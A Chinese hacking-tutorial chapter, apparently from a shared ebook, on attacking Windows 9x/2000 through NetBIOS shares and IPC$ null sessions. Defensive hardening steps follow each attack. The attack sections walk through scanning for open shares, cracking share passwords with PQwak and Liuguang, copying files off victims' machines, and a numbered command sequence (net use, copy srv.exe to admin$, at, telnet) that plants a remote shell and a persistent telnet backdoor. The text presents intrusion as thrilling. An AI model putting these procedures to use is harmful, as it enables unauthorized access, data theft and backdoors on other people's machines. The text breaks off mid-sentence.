黑客入门到精通.docx
《黑客入门到精通.docx》由会员分享,可在线阅读,更多相关《黑客入门到精通.docx(48页珍藏版)》请在冰豆网上搜索。
黑客入门到精通
黑客入门到精通
由于Windows的易用性,个人电脑用户普
遍使用Windows作为自己电脑的操作系统平
台,许多厂家也习惯使用Windows作为自己的服务器操作系统平台。
根据SANS协会和美
国联邦调查局旗下的国家基础设施保护中心(NIPC)公布的最容易被攻击的十大Windows
安全漏洞清单可以看出,Windows是一个极不安全的操作系统,虽然微软曾宣称其Windows
2000的安全性达C2级,但是离用户的要求还差得太远。
第二章入侵Windows
●Windows系统安全分析
●系统漏洞攻防
●Windows密码破解
正是因为有了这些漏洞,才会有黑客的存在,下面我们就来看看Windows有哪些漏洞,黑客是如何入侵
的?
我们又该如何防范?
若能入侵到他人电脑的Windows中,并且可以使用资源管理器或网上邻居任意漫游和查看对方硬盘中
的各种数据与文件,同时可以任意修改,对入侵者而言当然是一件令人兴奋又刺激的事情。
2.1Windows系统安全分析
随着互联网的普及,再加上Windows漏洞百出,要对Windows操作系统进行简单的网络攻击变得轻而易举。
特别是那些安全意识不强的电脑用户,要想对他们进行攻击简直太容易了。
在进行正式的入侵之前,我们有必要先对Windows系统的安全进行一下简要的分析。
2.1.1为什么会存在安全缺陷
系统漏洞是指某个程序(包括操作系统)在设计时未考虑周全,当程序遇到一个看似合理,但实际无法处
理的问题时,引发的不可预见的错误。
系统漏洞在某些情况下又称之为“安全缺陷”,如果当系统漏洞被恶意利
用,就会造成信息泄漏、数据安全受到威胁、用户权限被篡改等后果。
而对普通用户来说,系统漏洞在特定条
件下可能会造成不明原因的死机和丢失文件等现象。
漏洞的产生大致可分为以下两类:
①在程序编写过程中的人为遗留。
某些程序员为了达到不可告人的目的,有意识地在程序的隐蔽处留下各种各样的后门,以供自己日后利用,
不过,随着法律的完善,这类漏洞将越来越少(别有用心者除外)。
②受水平、经验和当时安全加密方法所限。
·30·
受编程人员的水平问题、经验和当时安全技术、加密方法所局限,在程序中总会或多或少出现些不足,这
些地方有的影响程序的效率,有的会导致非授权用户的权利提升。
③由于硬件原因,使编程人员无法弥补硬件的漏洞,从而使硬件的问题通过软件表现。
当然,Windows漏洞层出不穷也有客观原因,任何事物都不能十全十美,作为应用于桌面的操作系统
Windows也是如此。
其实,我们大家都知道,安全与不安全从来都是相对的,就目前而言,还没有出现绝无漏洞的系统,我们
只能够以存在漏洞的多少以及危害程度来判定该程序的安全性。
俗语说得好:
“道高一尺,魔高一丈。
”也就是
说,正因为有了这些漏洞的存在,才能不断完善和提高安全技术水平。
2.1.2我们使用的系统安全吗
通常的理论认为,Windows系统之所以会受到众多黑客的攻
击,是由于它用得太广的缘故,但这并不是它遭受黑客频频攻
击的主要原因,而是Windows系统与其他系统相比来说更容易被
攻击。
因为对于计算机来说,端口是最容易受到攻击的命门。
我们知道,微软从Windows诞生就开始奉行其一贯主张的
“用户所需要的是网络的兼容性和应用程序之间的兼容性”,但
恰恰是这一点使他们忽略了超强的兼容性将会导致的安全问题。
大家都知道,Windows的NETBIOS,有大家熟知的Windows
9X共享密码验证漏洞,进入Windows9X的共享如入无人之境。
目前流行的Windows2000、WindowsNT比这还更严重,不但会
泄露当前用户名和密码,黑客还可以轻易通过NETBIOS以当前用
户身份访问电脑。
而且Windows2000、WindowsNT在默认情况
下是所有盘共享,如图2-1-1所示,而大多数个人用户使用电脑
都是以Administrator的身份登录电脑,那么黑客进入也就无所
不能了。
这是隐形共享,在资源管理器里没有手形图标,所以一般电脑用户可能并不知道自己的所有盘都处于
危险的共享状态。
另外,Windows服务器的IIS服务,简直就是一个漏洞大王。
拒绝服务、泄露信息、泄露源代码、获得更多
权限、目录遍历、执行任意命令、缓冲溢出执行任意代码,几乎你要什么有什么。
只要稍微关注安全动态的朋
友都知道,IIS一直被列入十大漏洞列表。
对于个人用户,还会遇到IE浏览器的大量漏洞、Outlook的漏洞等,如最近炒得很热的可以执行任意命令、
执行任意代码的异常处理MIME头漏洞;原来IE4.0的mshtml.dll缓冲溢出漏洞;大量JAVA、ActiveX控件执行
任意命令的漏洞;Outlook的地址簿文件缓冲溢出漏洞等。
而Outlook是公认的“病毒传播能手”。
对于本地计算机,有著名的绕过登录的输入法漏洞,这个漏洞如果开了终端服务远程也有效。
还有Windows
ScriptingHost(WSH)可能引来的各种VBScript(VB脚本语言)编制的病毒、尤其是蠕虫病毒可以说是层出
不穷,也是一个传播病毒的帮凶。
另外,Windows允许远程访问注册表的功能,也会给黑客带来可乘之机。
图2-1-1Windows2000的默认共享显示
提示
·31·
上面介绍的Windows漏洞,只是冰山一角。
大家应该注意到上面列出的Windows应用的几个方面,本地、
个人用户、局域网、服务器应用都存在大量严重问题,当然,也还有没提到的账户弱口令密码等。
看了这些漏洞介绍,你还会认为你的系统“坚不可摧”吗?
2.2系统漏洞攻防
前面已经对Windows的系统安全作了细致的分析,下面我们看一下如何利用漏洞来对Windows系统进行
攻击。
这里要提醒大家的是,不要只是沉迷于攻击别人,也一定要修筑好自己的“防御工事”。
2.2.1NetBIOS漏洞的入侵与防御
1.漏洞描述
NetBIOS即NetworkBasicInputOutputSystem(网络基本输入输出系统),是一种应用程序接口(API),
系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应的IP地址,从而实现信息通
讯。
在局域网内部使用NetBIOS协议可以非常方便地实现信息通讯,但是如果在网上,NetBIOS就相当于一个后
门程序,黑客可以利用NetBIOS漏洞发起攻击。
当我们在接入互联网时,实际上只需要安装TCP/IP协议,但在安装协议时,NetBIOS也被Windows作为默
认设置载入了电脑,电脑也因此具有了NetBIOS本身的开放性,139端口被打开。
换句话讲,在不知不觉间,上
网电脑已被打开了一个危险的“后门”。
通过这个后门,黑客可以利用专门的工具扫描出我们共享的资源(包括
Windows2000的默认共享),再利用破解共享密码的工具破解密码(甚至有些共享根本就没有密码)后,就可
以进入相应的文件夹或磁盘,那时简直是想要做什么都可以。
NetBIOS漏洞的攻击主要是针对Windows9x的机器,因为Windows2000至少还有一个登录密码在把
关,没有账户和密码不易连接。
2.利用NetBIOS漏洞进行攻击
想要利用个人用户的远程共享漏洞很容易,只要使用扫描软件进行网络扫描,就会发现很多提供了共
享的肉机,Shed就是这类可搜索共享资源软件中的佼佼者。
Shed软件是一个绿色软件,无需安装。
下面我们来看看利用Shed软件如何扫描具有NetBIOS漏洞的Windows
9x肉机。
具体的操作步骤如下:
①只要双击Shed.exe程序就可以打开主界面,如图2-2-1所示,然后在起始IP和终止IP的框中写上想要
扫描的IP地址范围,然后点击“开始扫描”按钮。
·32·
②Shed的扫描速度极快,扫描结束后,会在主界面的“已探索共享资源”列表中显示扫描到设置了网络
共享的主机,双击驱动器图样的主机标识就可以展开该主机,显示其共享的磁盘或共享的文件夹,如图2-2-2
所示。
③如果可以双击任何一个共享硬盘或文件夹,而目标机是Windows9x的操作系统,且没有设置共享密码
的话,那可就真是如入无人之境了,只需点击其中“生活文摘”共享文件夹,就可以直接看到详细的资料信息
了,如图2-2-3所示。
点击鼠标右键中的复制,然后粘贴到本地硬盘,就把目标机的资料盗到本地来了。
图2-2-3查看到的详细资料
如果共享文件夹设有共享密码,或是使用Windows2000的机器,会被要求输入共享用户名和密码,如图2-
2-4所示。
图2-2-4要求输入用户和密码
图2-2-1Shed程序的运行主界面
图2-2-2扫描结果显示
·33·
对于使用Windows9x的机器,可以利用一个专门破解Windows9x网络邻居密码的工具软件Pqwak来破解。
直接运行Pqwak.exe程序,输入机器名、共享名、IP地址等信息,点击确定,很快就会在右下角显示出密码,如
图2-2-5所示的“123456”即为破解出来的密码。
图2-2-5用PQwak破解出共享文件夹密码
Pqwak.exe是破解网络邻居密码的工具软件,可用此工具查出共享密码的系统有:
Windows95、Windows
98、Windows98第二版、WindowsMe。
在图2-2-4的对话框中,在用户名一栏填入机器名,对于Windows9x机器来说,一般用户名就是机器名,
在密码栏输入由PQwak破解出来的密码,点击确定即可进入相应文件夹。
如果目标机使用的是Windows2000,Pqwak程序就破解不出密码,此时只能采用别的方法如流光之类的工
具,先破解目标机的弱口令密码后再破解共享文件夹。
在第2.2.2节,我们在针对IPC$漏洞的入侵与防御中将
讲解获取Windows2000中弱口令账户的方法。
3.防御方法
如果平时不需要NetBIOS提供的共享文件和打印之类的功能,就可以禁用NetBIOS协议或是关闭139端口。
①解开文件和打印机共享绑定
鼠标右击桌面上的“网络邻居|属性|本地连接|属性”,去掉“Microsoft网络的文件和打印机共享”前
面的钩,如图2-2-6所示,解开文件和打印机共享绑定,这样就会禁止所有从139和445端口来的请求,别人也
就看不到本机的共享了。
图2-2-6解开文件和打印机共享绑定
·34·
②禁用TCP/IP上的NetBIOS
鼠标右击桌面上“网络邻居|属性|本地连接|属性”,
打开“本地连接属性”对话框。
选择“Internet协议(TCP/
IP)|属性|高级|WINS”,选中下侧的“禁用TCP/IP上的
NetBIOS”一项即可解除,如图2-2-7。
③使用IPSec安全策略阻止对端口139和445的访问
选择“我的电脑|控制面板|管理工具|本地安全策略
|IP安全策略,在本地机器”,在这里定义一条阻止任何IP
地址从TCP139和TCP445端口访问我的IP地址的IPSec安全
策略规则,如图2-2-8所示,这样别人使用扫描器时,本
机的139和445两个端口也不会给予任何回应。
④停止Server服务
选择“我的电脑|控制面板|管理工具|服务”,进入
服务管理器,关闭Server服务,如图2-2-9所示,这样虽
然什么端口都不会关,但可以中止本机对其他机器的服
务,当然也就中止了对其他机器的共享。
但是关闭了该服
务会导致很多相关的服务无法启动,机器中如果有IIS服
务,则不能采用这种方法。
⑤使用防火墙防范攻击
在防火墙中也可以设置阻止其他机器使用本机共享。
如在“天网个人防火墙”中,选择一条空规则,设置数据
包方向为“接收”,对方IP地址选“任何地址”,协议设定
为“TCP”,本地端口设置为“139到139”,对方端口设置
为“0到0”,设置标志位为“SYN”,动作设置为“拦截”,
最后单击“确定”按钮,并在“自定义IP规则”列表中勾
选此规则即可启动拦截139端口攻击,如图2-2-10所示。
以上的几种方法中,根据机器本身的具体情况,选择
一种方法执行便可达到关闭NetBIOS协议的目的。
图2-2-7禁用TCP/IP上的NetBIOS
图2-2-8用IPSec安全策略阻止对端口139和445的访问
图2-2-9停止Server服务
图2-2-10使用防火墙拦截139攻击
·35·
除了关闭NetBIOS协议或是关闭端口以外,我们也可以采用以下方法来简单防范:
①关闭不需要共享的目录和外设属性,这是防范共享入侵的一种有效方法。
②使用复杂的字符来命名共享名称,这样往往会让NetView命令输出与一些扫描失效。
2.2.2IPC$漏洞的入侵与防御
1.IPC$漏洞描述
由于Windows2000的默认安装允许任何用户通过空用户连接(IPC$)得到系统所有账号和共享列表,本来是
为了方便局域网用户共享资源和文件的,但是任何一个远程用户都可以通过利用这个空的连接得到你的用户列表,
这样一些别有用心者会利用IPC$的这项功能,查找用户列表,并使用字典工具对主机进行攻击。
另外在安装系统
时会创建一些隐藏的共享,通过“计算机名或IP地址\此盘符$”可以访问,也为密码攻击提供了方便的途径。
IPC$共享不是一个目录、磁盘或打印机意义上的共享。
你看到的“$”,它是默认的在系统启动时的admin
共享。
IPC是指“InterProcessCommunications”。
IPC是共享“命名管道”的资源,它对于程序间的通讯很
重要。
在远程管理计算机和查看计算机的共享资源时使用。
2.利用IPC$漏洞进行攻击
在2.2.1节中扫描到了某些机器的默认共享,但是却被告知需要用户名和密码,注意了,下面就是讲
解获取Windows2000的账户和密码的方法。
黑客一般利用“小榕的流光”软件来对IPC$漏洞进行探测。
大家可到xeyes.org/main.html
去下载,这是一个兼备漏洞扫描和强大破解功能的软件。
流光软件能让一个刚刚会用鼠标的人成为专业级黑客,它可以探测POP3、FTP、HTTP、PROXY、FORM、
SQL、SMTP、IPC$上的各种漏洞,并针对各种漏洞设计了不同的破解方案,能够在有漏洞的系统上轻易得到用
户密码。
流光对Windows9X、WindowsNT、Windows2000上的漏洞都可以探测。
运行流光主程序,主界面如图2-2-11所示。
图2-2-11流光的程序主界面
·36·
按“Ctrl+R”键弹出扫描框,在扫描范围栏里输
入你要扫描的IP地址范围,在扫描主机类型里选择
NT/98,如图2-2-12所示,确定后进行扫描。
有了不少NT/98的机器,现在我们可以正式开始
IPC$探测了。
鼠标右击界面上“IPC$主机”,选择“探测”下
面的“探测所有IPC$用户列表”命令,就会探测出
你给出IP地址范围的机器里的IPC$用户列表,小心,
这里也可以扫描出这些用户列表中没有密码或是简
单密码的用户,如图2-2-13。
当然,得到用户列表
后也可以选用专门的黑客字典试探出密码来。
图2-2-13探测结果显示
下面我们以192.168.11.251这个IP地址为例进行讲解,得到密码后,是如何获取对方的资源并留下后门的。
打开Windows2000自带的命令提示行(在运行框里输入“cmd”命令),进入命令窗口,运行:
①C:
\〉netuse\\192.168.11.251\IPC$密码/user:
用户名
其中,用户名是用流光扫描到的用户,密码为该用户的密码。
用此命令可以与192.168.11.251建立一个连
接,运行后显示“命令成功完成”。
这样通过IPC$的远程登录就成功了。
②C:
\〉copysrv.exe\\192.168.11.251\admin$
登陆成功之后先复制一个Telnet的程序上去,(小榕流光安装目录下的Tools目录里的Srv.exe),这个程
序是在目标主机上面开一个Telnet服务,端口为99(或者用其他后门软件开一个端口以供登录)。
这里的admin$
指的是c:
\winnt\system32目录,还可以使用c$、d$,即C盘与D盘,这要看你复制到什么地方,以后可以利
用定时服务启动它。
③C:
\〉nettime\\192.168.11.251
在启动定时服务之前,需要先了解对方的时间。
用此命令可以检查目标计算机的时间。
假设192.168.11.251
的当前时间是2002/7/19上午11:
00,命令成功完成。
④C:
\〉at\\192.168.11.25111:
05srv.exe
检查到目标计算机的时间后,就可以用at命令启动srv.exe了,这里设置的时间要在目标计算机时间后,
否则启动不了。
显示:
新加了一项作业,其作业ID=0。
⑤C:
\〉nettime\\192.168.11.251
再查查到时间没有,如果192.168.11.251的当前时间是2002/7/19上午11:
05,那就准备开始下面的命令。
⑥C:
\〉telnet192.168.11.25199
这里用Telnet命令登录上去,注意端口是99。
Telnet默认的是23端口,但是我们使用srv.exe在对方计
算机中为我们建立一个99端口的Shell。
这里不需要验证身份,直接登录,如果显示:
c:
\winnt\system32〉,表
明成功登录上去了。
虽然我们Telnet上去了,但是srv.exe是一次性的,下次登录还要再激活!
所以需要建立一个Telnet服
务!
这就要用到ntlm(在小榕流光安装目录下的Tools目录里也可以找到)。
然后在本地打开命令提示符,另外
打开一个窗口,输入:
图2-2-12确定扫描范围
·37·
⑦C:
\〉copyntlm.exe\\192.168.11.251\admin$
用Copy命令把ntlm.exe上传到目标主机上,然后回到刚才的telnet窗口,运行ntlm.exe。
⑧C:
\WINNT\system32〉ntlm
这里的C:
\WINNT\system32〉指的是目标计算机,运行ntlm后,将显示如下信息:
Windows2000TelnetDump,byAssassin,AllRightsReserved.
Done!
此时,说明已经启动正常。
⑨C:
\WINNT\system32〉netstarttelnet
然后直接用“netstarttelnet”启动telnet,显示“Telnet服务器正在启动”,表明Telnet服务器已
经启动成功。
⑩Telnet192.168.11.251
以后我们就可使用Telnet命令登录到目标计算机的23端口,输入用户名与密码即可进入,就像在DOS上操
作一样简单。
这时目标主机就成为跳板了,可以利用它进入到其它的主机。
我们也可以直接在地址栏输入:
\\IP地址\C$(或是D$,E$等),可以看到机器上C盘(或是D$,E$等)
的全部内容,如果是超级用户,还可以轻松地在对方机器植入木马,并执行一些操作,就跟我们用Administrator
登录本地机器一样。
3.IPC$漏洞的防范
下面我们来看看如何防范IPC$漏洞的入侵。
①通过修改注册表来禁止建立空连接(IPC$)
选择“开始|运行”,在运行框里输入:
“regedit”回车后打开注册表,将HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\LSA的RestrictAnonymous项设置为1,可以禁止空用户连接,如图2-2-14所示。
图2-2-14通过修改注册表来禁止建立空连接
另外,在Windows2000的本地安全策略(“控制面板”|“管理工具”|“本地安全策略”)里,选择“本地
策略”的“安全选项”的“对匿名连接的额外限制”一项也可设置,双击该项即可对本地策略进行设置,如图
2-2-15所示,在3个选项中选择“不允许枚举SAM账号和共享”即可禁止IPC$空连接。
·38·
图2-2-15在本地安全策略中设置禁止IPC$连接
②通过修改注册表来禁止管理共享(C$,D$等)
打开注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters项:
对于服务器,添加键值AutoShareServer,类型为REG_DWORD,值为0。
对于客户机,添加键值AutoShareWks,类型为REG_DWORD,值为0。
③手工编写批处理文件删除默认共享
用记事本自建一个删除所有默认共享的批处理文件,放在启动栏里,每次启动机器时都自动运行,以删除
所有这些默认共享。
批处理程序包含内容如下:
netshareipc$/delete
netshareadmin$/delete
netsharec$/delete
netshared$/delete(如果有e驱,f驱⋯⋯可以继
续用此命令删除)
最后保存为autodel.bat文件,放到启动栏里,一样可
以达到禁止所有默认共享的目的。
④关闭ipc$和默认共享依赖的服务即server服务
Server服务提供RPC支持、文件、打印以及命名管道
共享的服务,ipc$和默认共享要依赖于这个服务,只需要将
这个Server服务关闭即可关闭ipc$和默认共享。
进入“控
制面板”|“管理工具”|“服务”,在右侧列表中找到server
服务,鼠标双击它,进入Server的属性对话框,点击“常
规”选项卡,在启动类型中选择“手动”或“已禁用”均可
使机器在启动时不启用Server服务,如图2-2-16所示,从
而达到禁用所有共享的目的。
如果这台机器需要对外提供服务如IIS服务,则不能采用此方法。
⑤安装防火墙
为自己的机器安装一个网络防火墙,如天网个人网络防火墙,选择“只允许局域网的